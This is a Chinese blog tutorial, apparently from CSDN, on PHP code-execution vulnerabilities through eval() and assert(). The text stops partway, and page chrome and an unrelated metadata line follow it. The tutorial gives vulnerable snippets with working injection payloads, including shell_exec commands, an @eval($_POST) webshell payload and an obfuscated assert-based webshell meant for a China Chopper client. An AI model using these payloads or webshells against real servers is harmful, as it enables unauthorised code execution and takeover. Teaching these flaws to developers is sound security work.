PHP代码执行漏洞总结大全

本文详细介绍了PHP代码执行漏洞的原因及常见的漏洞函数,包括eval(), assert(), preg_replace()+/e模式, create_function(), array_map()等,并通过实例演示了漏洞利用方式,提醒开发者注意代码安全。" 51181121,5076837,Python实现公平的可重入读写锁,"['Python', '多线程', '读写锁']
摘要由CSDN通过智能技术生成

一、 漏洞产生的原因

PHP脚本语言简洁,方便,但也与此同时伴随着一些问题,例如速度慢,无法解除系统底层等等。在web程序中,有时候程序员为了代码的灵活性与简洁性,会适当调用代码执行的函数执行。但由于没有充分考虑到用户是否会使用与控制,最终导致web应用存在代码执行漏洞。

二、 漏洞产生的常见函数

2.1 eval()

eval(phpcode)

eval() —— 把字符串按照 PHP 代码来计算。

(1) 直接利用漏洞源码:

<?php
$data = $_GET['data'];
eval("\$ret = $data;");
echo $ret;
?>

漏洞利用:?data=phpinfo()

(2)闭合绕过

- 例子1:

<?php
$data = $_GET['data'];
eval("\$ret = \"$data\";");
echo $ret;
?>

漏洞利用:

  1. ?data=";phpinfo();")//
  2. ?data=${phpinfo()}(php版本5.5及以上)
  3. ?data=");@eval($_POST[x]);//

- 例子2:

<?php
$data = $_GET['data'];
eval("\$ret = strtolower('$data');");
?>

漏洞利用:

  1. ?data=’);phpinfo();//
  2. ?data=’);$cmd=shell_exec(‘systeminfo’);echo “<pre>{$cmd}</pre>”;//
    在这里插入图片描述

- 例子3:

<?php
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
?>

漏洞利用:

  1. ?data=");phpinfo();//
  2. ?data=${phpinfo()}(php版本5.5及以上)
  3. ?data=${@eval($_POST[x])}

2.2 assert()

assert — 检查一个断言是否为 false
ps: assert($a)只能单行执行

- 例子1:

<?php
$aaa = "abbbsbbsbbebbrbbt"; 
$ccc = str_replace('b','',$aaa); ///$ccc="assert"
$ccc($_POST[1]);

漏洞利用:

  1. POST方法 1=phpinfo();
  2. 菜刀连接

- 例子2:
利用assert写木马
服务器代码:


                
  • 13
    点赞
  • 100
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值